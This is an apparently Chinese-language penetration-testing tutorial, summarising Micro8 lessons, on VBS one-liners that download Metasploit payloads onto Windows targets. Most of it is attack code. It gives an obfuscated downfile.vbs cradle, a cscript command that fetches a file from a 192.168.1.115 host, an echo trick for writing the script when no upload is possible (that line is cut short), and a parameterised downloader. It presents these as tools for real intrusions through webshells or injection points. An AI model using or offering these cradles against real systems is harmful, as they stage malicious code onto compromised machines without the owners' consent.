VBS一句话下载payload
/0x00 前言
参考Micro8系列第三十七课:https://micro8.gitbook.io/micro8/contents-1/31-40/37vbs-yi-ju-hua-xia-zai-payload
参考Micro8系列第三十九课:https://micro8.gitbook.io/micro8/contents-1/31-40/39vbs-yi-ju-hua-xia-zai-payload-bu-chong
0x01 VBS一句话下载payload
一次MSF完整的流程离不开目标机的payload下载与执行。而针对不同环境目标,考虑或者选择不同方式的payload下载与执行。如WebShell下、注入点下、smb 下等。而针对不同的实际环境,来做最好的选择。
在Windows环境下,无论是哪个版本都是支持VBS的。
优点:支持Windows全版本系列。
缺点:对HTTPS不友好。
上传方式写入VBS
保存downfile.vbs:
1 | visual basic set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open "get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 |
命令行下执行:
1 | cscript downfile.vbs http://192.168.1.115/robots.txt C:\Inetpub\b.txt |
但是在实战中,往往是没有上传的条件的,尤其是Windows,此时只能通过echo的方式来写入VBS。
echo方式写入VBS
命令行下执行:
1 | echo set a=createobject(^"adod^"+^"b.stream^"):set |
VBS参数化下载
在实战中,可能遇到各种奇葩环境导致无法执行或者无法把下载参数带入其中,故补充VBS参数化的下载。
源码如下:
1 | visual basic strFileURL = "http://192.168.1.115/robots.txt" strHDLocation = "c:\test\logo.txt" Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") objXMLHTTP.open "GET", strFileURL, false objXMLHTTP.send() If objXMLHTTP.Status = 200 Then Set objADOStream = CreateObject("ADODB.Stream") objADOStream.Open objADOStream.Type = 1 objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0 Set objFSO = CreateObject("Scripting.FileSystemObject") If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocati on Set objFSO = Nothing objADOStream.SaveToFile strHDLocation objADOStream.Close Set objADOStream = Nothing End if Set objXMLHTTP = Nothing |